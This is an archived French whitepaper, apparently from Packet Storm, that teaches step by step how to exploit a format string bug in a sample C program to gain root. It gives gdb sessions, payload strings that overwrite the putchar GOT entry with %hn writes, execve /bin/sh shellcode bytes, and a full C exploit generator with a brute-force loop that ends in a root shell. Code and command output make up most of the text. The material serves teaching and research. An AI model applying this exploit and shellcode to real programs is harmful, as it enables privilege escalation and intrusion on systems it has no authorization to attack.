accept no compromises

Simple Exploitation Of Format String Vulnerabilities

Simple Exploitation Of Format String Vulnerabilities
Posted Jan 8, 2013
Authored by Jules Mainsard

This is a whitepaper that explains simple exploitation of format string vulnerabilities. Written in French.

tags | paper, vulnerability
MD5 | f14028aeee56ff3cd391e2cff6753f84

Simple Exploitation Of Format String Vulnerabilities

Change Mirror Download
******************************************************
Une simple exploitation de vulnérabilité Format String
******************************************************
@-->jules.mainsard@esial.net

Connaissances requises --> ASM (-)
--> GDB (-)
--> C (+)


Voici un court exploit pour une simple vulnérabilité Format String.
L'exploitation a été réalisé sous Backtrack 5, mais je pense que le processus d'exploitation est
suffisamment détaillé pour pouvoir être reproduit sur n'importe qu'elle distribution Linux (Testé sur Ubuntu et Debian).

Note: Vous devrez désactiver l'ASLR (Address Space Layout Randomization) avec sysctl kernel.randomize_va_space=0
ou en modifiant directement le fichier /proc/sys/kernel/randomize_va_space

Voici le programme vulnérable que nous allons exploiter:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {

if(argc>1) {

if(argc>2) {
printf("Push a key to continue...\n"); //For attaching with gdb
getc(stdin);
}
printf( argv[1] ); //Vulnerability
printf("\n");
}
}

Compilation ... gcc -o formatstring formatstring.c -g

Pour ceux qui ne connaissent pas la théorie classique d'exploitation (vocabulaire, shellcode...), il y a
de bonnes doc sur le web. A propos des Format String, la vulnérabilité apparait quand vous passez en
argument de la fonction printf (ou n'importe qu'elle fonction de cette famille d'ailleur) un pointeur sur
chaine (comme argv[1] ici). Tous les modifier (*) présents dans votre chaine seront interprété par printf
et subsitué par leur valeurs qui, en situation normale, ont aussi été passées en argument de la fonction
et doivent donc se situer sur la pile actuelle. Dans notre cas, printf ne prend qu'un argument,
les valeurs des modifiers seront donc subsitués par des valeurs inconnues de la pile. On peut donc
lire la mémoire du programme qui peut potentiellement révéler des informations intéressantes. Essayons:


(*) : les format modifiers commencent par un '%', il en existe beaucoup, les classiques %x pour 4 octets
codés en hexadecimal, %s pour les pointeurs sur chaine, ou %n pour l'écriture en mémoire (4 octets).
Je vous laisse consulter votre sprintf manuel pour plus d'infos : (*)


root@bt:~/exploit# ./formatstring "%x %x"
b7ff1030 804851b


Ca commence bien :). Maintenant, pour le fun et parce que ca nous sera utile plus tard, on veut déterminer
l'offset auquel commence la chaine argv[1] en mémoire (sur la pile en fait). C'est un argument de la
fonction printf, il a donc une place légitime sur la pile de la fonction. On peut faire ca sans problèmes
avec un petit script shell:


for((i=0; i<200; i++))
do
echo "Index $i"
./formatstring "AAAAA`python -c "print ' %x'*$i"`" | grep -A5 -B5 4141 >temp.pap

if test -s "temp.pap"; then
cat temp.pap
break
fi
done
rm temp.pap


Executez le, vous obtiendrez probablement quelque chose comme ca:
.
.
.
Index 134
Index 135
Index 136
AAAAA b7ff1030 804851b b7fc9ff4 8048510 0 bffff478 b7e8abd6 2 bffff4a4 bffff4b0 b7fe1858 bffff460 ffffffff b7ffeff4 80482c4 1 bffff460 b7ff0626 b7fffab0 b7fe1b48 b7fc9ff4 0 0 bffff478 c410e2a0 eaafd4b0 0 0 0 2 8048400 0 b7ff6230 b7e8aafb b7ffeff4 2 8048400 0 8048421 80484b4 2 bffff4a4 8048510 8048500 b7ff1030 bffff49c b7fff8f8 2 bffff5f1 bffff600 0 bffff79e bffff7be bffff7d1 bffff7e1 bffff7ec bffff83d bffff84d bffff85f bffff889 bffff8a9 bffff8b3 bffffd54 bffffd7a bffffdc4 bffffe11 bffffe25 bffffe37 bffffe48 bffffe5f bffffe6a bffffe72 bffffe9e bffffeab bfffff0d bfffff4a bfffff6a bfffff77 bfffff84 bfffffa6 bfffffc3 bfffffdc 0 20 b7fe2420 21 b7fe2000 10 bfebfbff 6 1000 11 64 3 8048034 4 20 5 8 7 b7fe3000 8 0 9 8048400 b 0 c 0 d 0 e 0 17 0 19 bffff5db 1f bfffffed f bffff5eb 0 0 0 0 dc000000 716d924a 7fef9dfc 8cc53e9a 699d68e6 363836 662f2e00 616d726f 72747374 676e69 41414141

Ca veut simplement dire que si vous lancez `./formatstring "AAAAA%x %x ..."` [avec %x répété 136 fois], le dernier %x
qui est dumpé de la pile est 0x41414141, comme vous le constatez au dessus. 0x41414141 est 'AAAA' en ASCII, ce qui
veut dire que nous avons atteint le début de notre chaine argv[1] sur la pile. L'offset est 136 pour moi mais ce sera
surement différent pour vous.

Autre chose, j'ai donné 5 'A' en arguments de printf ici, le 'A' restant doit se tenir dans le prochain octet sur la
pile (offset 137). Une moyen plus pratique de faire est de travailler avec le Direct Access Parameter. C'est assez
facile à comprendre, au lieu de %x, on écrit %offset$x (offset étant un nombre). On référe aux 4 premiers
octets avec %1$x, aux 4 prochain avec %2$x, etc.

Appliqué à l'exemple précedent:

root@bt:~/exploit# ./formatstring "%x %x"
b7ff1030 804851b

On peut le remplacer par:

root@bt:~/exploit# ./formatstring "%1\$x"
b7ff1030
root@bt:~/exploit# ./formatstring "%2\$x"
804851b


On peut adapter notre script shell en quelque chose de plus compact:


root@bt:~/exploit# for((i=0; i<200; i++)); do echo "Index $i" && ./formatstring "AAAA%$i\$x"; done | grep -B1 4141
Index 137
AAAA41410067
Index 138
AAAA31254141


root@bt:~/exploit# for((i=0; i<200; i++)); do echo "Index $i" && ./formatstring "AAAAAA%$i\$x"; done | grep -B1 4141
Index 137
AAAAAA41414141
Index 138
AAAAAA31254141

J'ai ajouté 2 'A' au second essai pour remplir une case complète de mémoire (4 octets ici) à l'offset 137.
Ce nombre de 'A' à ajouter pour que les prochains soient correctement "alignés" est important, vous en
aurez besoin plus tard pour configurer votre exploit.

L'offset n'est plus le même que precedemment mais c'est normal, chaque ajout de caractères d'une longueur
différente de 16 octets, décale la valeur initiale de départ de argv[1] sur la pile de printf.

Une petite verif..

root@bt:~/exploit# ./formatstring "ABCDAA%137\$x"
ABCDAA44434241

On est bono ('ABCD' = 0x44434241 , renversés en little endian )

Maintenant on va tenté d'écrire un peu de données en mémoire.
Il y a un format modifier qui nous permet d'écrire en mémoire, c'est le modifier %n, qui écrit le nombres de charactères
qui le précéde dans la chaine en question (argv[1] dans ./formatstring).

printf("AAAAAA%n", akaddr)

écrira 0x6 (pour les 6 'A' avant %n) à l'addresse akaddr.

Or pour nous le(s) akaddr seront des valeurs de la pile (controlées grace au Direct Access Parametre), donc en utilisant
l'offset du début de argv[1] sur la pile de printf, nous pourrons écrire des données arbitraire à des addresses arbitraires.
C'est suffisant pour controler l'EIP et rediriger l'execution du programme. Nous allons utiliser un classique en remplacant un
pointeur de fonction appelé dans la suite du programme par l'addresse d'un shellcode que nous ecrirons 4 octets plus loin
en mémoire.


Essayons de trouver un pointeur de fonctions à remplacer.


root@bt:~/exploit# gdb formatstring
GNU gdb (GDB) 7.1-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/exploit/formatstring...done.
(gdb) disas main
Dump of assembler code for function main:
0x080484b4 <+0>: push %ebp
0x080484b5 <+1>: mov %esp,%ebp
0x080484b7 <+3>: and $0xfffffff0,%esp
0x080484ba <+6>: sub $0x10,%esp
0x080484bd <+9>: cmpl $0x1,0x8(%ebp)
0x080484c1 <+13>: jle 0x80484fe <main+74>
0x080484c3 <+15>: cmpl $0x2,0x8(%ebp)
0x080484c7 <+19>: jle 0x80484e2 <main+46>
0x080484c9 <+21>: movl $0x80485c0,(%esp)
0x080484d0 <+28>: call 0x80483e4 <puts@plt>
0x080484d5 <+33>: mov 0x804a020,%eax
0x080484da <+38>: mov %eax,(%esp)
0x080484dd <+41>: call 0x80483c4 <_IO_getc@plt>
0x080484e2 <+46>: mov 0xc(%ebp),%eax
0x080484e5 <+49>: add $0x4,%eax
0x080484e8 <+52>: mov (%eax),%eax
0x080484ea <+54>: mov %eax,(%esp)
0x080484ed <+57>: call 0x80483d4 <printf@plt>
0x080484f2 <+62>: movl $0xa,(%esp)
0x080484f9 <+69>: call 0x80483a4 <putchar@plt> (*)
0x080484fe <+74>: leave
0x080484ff <+75>: ret
End of assembler dump.
(gdb) l *0x080484f9
0x80484f9 is in main (formatstring.c:13).
8 if(argc>2) {
9 printf("Push a key to continue...\n"); //For attaching with gdb
10 getc(stdin);
11 }
12 printf( argv[1] );
13 printf("\n"); (*)
14 }
15 }
16


On va réecrire le pointeur de la fonction putchar(), qui est appelé lors de l'instruction printf("\n") en C.
printf("\n") écrit un seul caractère , gcc optimise la routine assembleur utilisée en fonction du contenu que
l'on veut afficher avec la fonction printf, ce pourrait être les routines asm puts ou printf à la place si l'on
essaie d'afficher plus de contenu.

Go inspecter la GOT (Global Offset Table)

root@bt:~/exploit# objdump -R formatstring

formatstring: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a020 R_386_COPY stdin
0804a000 R_386_JUMP_SLOT __gmon_start__
0804a004 R_386_JUMP_SLOT putchar (*)
0804a008 R_386_JUMP_SLOT __libc_start_main
0804a00c R_386_JUMP_SLOT _IO_getc
0804a010 R_386_JUMP_SLOT printf
0804a014 R_386_JUMP_SLOT puts

On va donc écrire à l'addresse 0x0804a004, c'est la que se trouve le pointeur qui mène à la routine putchar.

[ L'offset sur argv[1] peut être différent sous gdb, j'avais trouvé 137 avant mais pour gdb c'est en fait
141, vous devrez peut être osciller un peu autour de votre valeur initial avec quelques `r "AAAAAA%1**\$x"`
avant de retomber sur le bon offset ]


(gdb) r "ABCDAA%141\$x"
Starting program: /root/exploit/formatstring "ABCDAA%141\$x"
ABCDAA41414443

Program exited with code 012.
(gdb) r "AAABCD%141\$x"
Starting program: /root/exploit/formatstring "AAABCD%141\$x"
AAABCD44434241

Program exited with code 012.


C'est bon on y est, maintenant l'écriture %n.


(gdb) r AA`echo $'\x04\xa0\x04\x08'`%141\$n
Starting program: /root/exploit/formatstring AA`echo $'\x04\xa0\x04\x08'`%141\$n

Program received signal SIGSEGV, Segmentation fault.
0x00000006 in ?? ()

Nickel c'est ce qu'on attendait. Quelques clarifications. On utilise `echo $'chain'` pour traduire nos
octets hexadecimaux ('\x**') en charactères transmissible à ./formatstring. Ensuite, dans la fonction printf,
%141$n essaie d'écrire à l'addresse présente sur la pile à l'offset 141, qui s'avère être notre addresse
transmise, soit 0x0804a004. %141$n écrit donc le nombre de caractères présent avant lui dans argv[1], soit 0x6 à
l'adresse 0x0804a004. Et 2 instructions plus tard, quand le programme va consulter l'addresse de putchar dans
la GOT, il assigne à l'EIP la valeur *0x0804a004, qui est désormais 0x00000006 et le programme crash
(addresse absurde).


Pour cette exploitation, on va utiliser un modifier légérement différent qui est %hn, et qui écrit non pas 4
octets en mémoires (comme %n) mais seulement 2 (type short en C).


(gdb) r AA`echo $'\x04\xa0\x04\x08'`%141\$hn
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/exploit/formatstring AA`echo $'\x04\xa0\x04\x08'`%141\$hn

Program received signal SIGSEGV, Segmentation fault.
0xb7eb521c in vfprintf () from /lib/tls/i686/cmov/libc.so.6
(gdb) i r
eax 0x250804a0 621282464
ecx 0xbfffe020 -1073749984
edx 0x0 0
ebx 0xb7fc9ff4 -1208180748
esp 0xbfffddc8 0xbfffddc8
ebp 0xbffff518 0xbffff518
esi 0xb7fca4e0 -1208179488
edi 0x6 6
eip 0xb7eb521c 0xb7eb521c <vfprintf+17932>
eflags 0x210206 [ PF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/i $eip
=> 0xb7eb521c <vfprintf+17932>: mov %di,(%eax)


Le fameux piège, on peut seulement ajouter a notre argument des caractères par paquet de 16 afin que
la chaine ne soit pas décalé sur la pile et que l'offset trouvé precedemment reste valable. Ici, le
programme essaie d'écrire %di=0x6 à l'addresse dans %eax=0x250804a0 qui est clairement une addresse
non permise (qui ne fait pas partie de l'espace mémoire alloué au programme). On le devine facilement,
notre addresse n'est décalé que d'un octet, on en discerne encore les 3 premiers bytes. Ce qui est
logique puisque nous n'avons ajouté qu'un seul caractère à notre argument (le 'h' de '%hn').

Donc d'après la théorie si on ajoute 15 caractères supplémentaire (des 'A') en fin de chaine, le
problème devrait disparaitre.


(gdb) r AA`echo $'\x04\xa0\x04\x08'`%141\$hnAAAAAAAAAAAAAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/exploit/formatstring AA`echo $'\x04\xa0\x04\x08'`%141\$hnAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x08040006 in ?? ()


Ouf :) Vous remarquez que cette fois, comme annoncé, seul 2 octets ont été réecrit par le modifier.
Essayons d'écraser tous le pointeur avec un second %hn. On va devoir ajouter un
'\x06\xa0\x04\x08' (addresse d'écriture, on écrit en mémoire tous les 2 octets) et '%142\$hn', ca
fait 11 octets(=strlen(addr)+strlen(modifier)). On ajoute donc 16-11=5 'A' en plus a la fin de l'argument.


(gdb) r AA`echo $'\x04\xa0\x04\x08\x06\xa0\x04\x08'`%141\$hn%142\$hnAAAAAAAAAAAAAAAAAAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/exploit/formatstring AA`echo $'\x04\xa0\x04\x08\x06\xa0\x04\x08'`%141\$hn%142\$hnAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x000a000a in ?? ()


Checkpoint.
Comment controler la valeur que nous écrivons? Souvenez vous de la definition du modifier %n/%hn, on peut
utiliser des 'A' (ca risque de faire beaucoup...) ou alors le modifier %500x pour écrire 500 octets par
exemple. La méthode des %***x abouti à l'exploit le plus court, c'est celle que nous allons utiliser.
N'oublions pas, pour chaque ajout de %***x on devra compléter par un ajout de 16-strlen('%***x') nombre
de 'A' a la fin de l'argument pour que l'addresse de base de argv[1] sur la pile de printf reste la meme
(toujours la même règle).

Pour tester ca on peut essayer d'écrire l'adresse de exit() à la place de putchar() et voir si le programme
quitte normalement au lieu de crasher.

(gdb) p exit
$1 = {<text variable, no debug info>} 0xb7ea3200 <exit>


Decompose en 2 * 2 octets => 0xb7ea 0x3200

Un peu de baby math, 0x3200 - 0xa == 12790 en decimal, on va utiliser %12790x (ca fait 9 'A' à ajouter en fin de chaine)
0xb7ea - 0x3200 == 34282 en decimal, on va utiliser %34282x (9 nouveau 'A' à ajouter en fin de chaine)

Ce qui nous donne :


(gdb) r AA`echo $'\x04\xa0\x04\x08\x06\xa0\x04\x08'`%12790x%141\$hn%34282x%142\$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/exploit/formatstring AA`echo $'\x04\xa0\x04\x08\x06\xa0\x04\x08'`%12790x%141\$hn%34282x%142\$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA��

.
.
.
.
.
.

804851bAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program exited with code 012.


Ca marche bien. Mais ce cas la était idéal, les octets à écrire étaient dans le bon ordre (0x3200 < 0xb7ea), pour écrire un
shellcode de 20 ou 30 octets ca risque de pas être aussi rose. C'est une petite contrainte quand on utilise le modifier %n/%hn
il écrit le nombre d'octets qui le précédent dans la chaine, donc à chaque écriture il écrira forcément un nombre supérieur que
l'écriture précédente. Les double octets du shellcode ne seront donc pas écrit dans leur ordre de lecture mais en ordre
croissant en mémoire. Pour rappelle le shellcode sera écrit 4 octets plus loin que le pointeur de fonction que l'on écrase dans
la GOT soit en 0x0804a008 (dans la continuité du remplacement du pointeur de fonction en fait).

Le plus dur est fait, il ne reste plus qu'à écrire l'exploit.


char *phrase="\x08\xa0\x04\x08" //4 bytes address
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90"; //26 bytes shellcode

phrase est la chaine que l'on veut écrire en mémoire en 0x0804a004.

Donc le pointeur de fonction sur putchar (0x0804a004) est remplacé par 0x0804a008 qui est le début du shellcode.
Ca peut être un peu dur à comprendre donc j'ai détaillé ;)

Maintenant on va devoir extraire les octets de phrase par paire, noter leur position initiale dans phrase et les classer en
ordre croissant. A partir de la 2 choix s'offre à nous pour notre exploit sur argv[1], soit placer les addresses d'écriture
dans le bon ordre et les offset des modifier dans le mauvais, soit les addresses d'écriture dans le mauvais ordre et les
offset des modifiers dans le bon ordre. C'est la seconde option qui est présenté dans cet exploit.

[ Vous l'aurez compris quand je parle de mauvais ordre, c'est un ordre qui correspond à une écriture des octets de phrase en
ordre croissant ]

Les structures utilisés...

typedef struct {int val; int pos;} charindex;

void construireStruct(charindex tab[], char *psz) {

int cur, cpt=0;
//Extraire les byte de psz par paire et les stocker dans le tableau de structure avec leur position initiale dans psz
while( (*psz!=0) && (*(psz+1)!=0) ) {

cur= *(unsigned short *)psz;
(*(tab+cpt)).val=cur;
(*(tab+cpt)).pos=cpt;
cpt++;
psz+=2;

}

}

L'écriture des addresses dans le "mauvais ordre"..

charindex tabstruct[lentabstruct], tabstructclasse[lentabstruct];
construireStruct(tabstructclasse, phrase);
classerStructCroissant(tabstructclasse, lentabstruct);
for(i=0; i<lentabstruct; i++) {

formataddress(tempaddr, addresse+((tabstructclasse[i].pos)*2));
strcat(exploit, tempaddr);
lensofar+=4;

}

Dans l'exploit, les paramètres à modifier sont nba pour le nombre de 'a' à ajouter pour avoir les addresses d'écriture
correctement "alignées" pour une utilisation avec %***$hn (j'en ai parlé au début) et deb pour l'offset de début
de argv[1] sur la pile (ce n'est pas vraiment l'offset du début mais l'offset de l'addresse de base de argv[1]+nba).
Ces deux nombres peuvent être difficile à déterminer avec précision, surtou nba, on l'a vu qui peut varier selon
l'environnement d'execution du programme (gdb ou classic shell). J'ai ajouté une petite option de bruteforce dans mon
programme d'exploitation sur le paramètre nba. Fonctionne correctement pour l'execution de l'exploit sur un compte
non privilégié de mon PC.


root@bt:~/exploit# gcc -o firstex firstex.c
root@bt:~/exploit# su achile
bash-4.1$ id
uid=1001(achile) gid=1001(achile) groups=1001(achile)
bash-4.1$ EX=`./firstex`
bash-4.1$ echo $EX
�
���� ����� ����%1992x%137$hn%10027x%138$hn%57x%139$hn%633x%140$hn%7938x%141$hn%5997x%142$hn%35x%143$hn%239x%144$hn%8177x%145$hn%27x%146$hn%1810x%147$hn%3976x%148$hn%4298x%149$hn%3935x%150$hn%3290x%151$hnaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
bash-4.1$ ./formatstring "$EX"
�
����
����� ���� Segmentation fault
bash-4.1$
bash-4.1$ for((i=0; i<200; i++)); do EX=`./firstex $i`; ./formatstring "$EX"; done

.
.
.
.

sh-4.1#
sh-4.1#
sh-4.1# id
uid=1001(achile) gid=1001(achile) euid=0(root) egid=0(root) groups=1001(achile)
sh-4.1#



***************************
Here comes the exploit code
***************************

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct {int val; int pos;} charindex;
void construireStruct(charindex tab[], char *psz);
void classerStructCroissant(charindex tab[], int len);
void formataddress(char chain[], int addr);
void generata(char as[], int nbo);

int main(int argc, char **argv) {

int addresse=0x0804a004, lensofar=0, lenmodifier=6, i, lentabstruct, nba=7, vale, valmod, deb=137;
char exploit[1000000], tempa[100000], tempaddr[100], tempmod[100];
char *phrase="\x08\xa0\x04\x08\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90"; //strlen(phrase)%2=0

//Bruteforce option
if(argc>1) nba=atoi(argv[1]); //Just change nba to deb if you want to bruteforce this one instead


lentabstruct=strlen(phrase)/2+strlen(phrase)%2;
charindex tabstruct[lentabstruct], tabstructclasse[lentabstruct];

//Dabord on place les addresses, dans le bon ordre, puisquon ne dispose pas les byte dans leur ordre de lecture mais
//en ordre croissant (imposé par le modifier $hn qui ecrit le nombre de caractere qui le précédent dans le buffer)

construireStruct(tabstructclasse, phrase);
classerStructCroissant(tabstructclasse, lentabstruct);
for(i=0; i<lentabstruct; i++) {

formataddress(tempaddr, addresse+((tabstructclasse[i].pos)*2));
strcat(exploit, tempaddr);
lensofar+=4;

}

for(i=0; i<lentabstruct; i++) {

vale=tabstructclasse[i].val-lensofar; //length to add to generate the right byte (corresponding to the one
//we are up to in variable phrase)
sprintf(tempa, "%%%dx", vale);

valmod=16-strlen(tempa);
nba+=valmod; //If you want to use %**x (** being a number) to generate the right len
//you still have to follow the rule to add only 16 by 16 chars to the exploit chain for the alignment on the stack
//to remains the same

strcat(exploit, tempa);
sprintf(tempmod, "%%%d$hn", deb);
strcat(exploit, tempmod);

if(i>0)
nba+=16-(strlen(tempmod)+4);

deb++;
lensofar+=vale;
}

generata(tempa, nba);
strcat(exploit, tempa);

printf("%s", exploit);

}

void generata(char as[], int nbo) {

int k;
for(k=0; k<nbo; k++)
as[k]='a';
as[nbo]=0;

}

void construireStruct(charindex tab[], char *psz) {

int cur, cpt=0;
//Extraire les byte de psz par paire et les stocker dans le tableau de structure avec leur position initiale dans psz
while( (*psz!=0) && (*(psz+1)!=0) ) {

cur= *(unsigned short *)psz;
(*(tab+cpt)).val=cur;
(*(tab+cpt)).pos=cpt;
cpt++;
psz+=2;

}

}

void classerStructCroissant(charindex tab[], int len) {

int k, end=0;
charindex temp;
//TRI A BULLES CROISSANT
while(end==0) {
end=1;
for(k=0; k<len-1; k++) {
if(tab[k].val>tab[k+1].val) {
temp=tab[k];
tab[k]=tab[k+1];
tab[k+1]=temp;
end=0;
}
}
}

}

void formataddress(char chain[], int addr) {

//Formatage byte a byte de l'adresse d'ecriture en little endian (dans le cas dune machine i386)
//on ecrit les byte en sens inverse

char opcode[20];

int v=(addr & 0xff); //addr & 0xff(000000) == identite des 2 bits de poid courant et mise a zero des autres
sprintf(opcode, "%c", v);

strcpy(chain, opcode);

v=(addr & 0xff00)>>8; // addr >> (8|16|24) == decalage des 2 bits gardés intact tout a droite
//(s'ils ne l'etaient pas deja, cas de la ligne 126)
sprintf(opcode, "%c", v);

strcat(chain, opcode);

v=(addr & 0xff0000)>>16;
sprintf(opcode, "%c", v);

strcat(chain, opcode);

v=(addr & 0xff000000)>>24;
sprintf(opcode, "%c", v);

strcat(chain, opcode);

}




**************References*************************
************************The Shellcoder's handbook

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    2 Files
  • 24
    Jul 24th
    19 Files
  • 25
    Jul 25th
    23 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close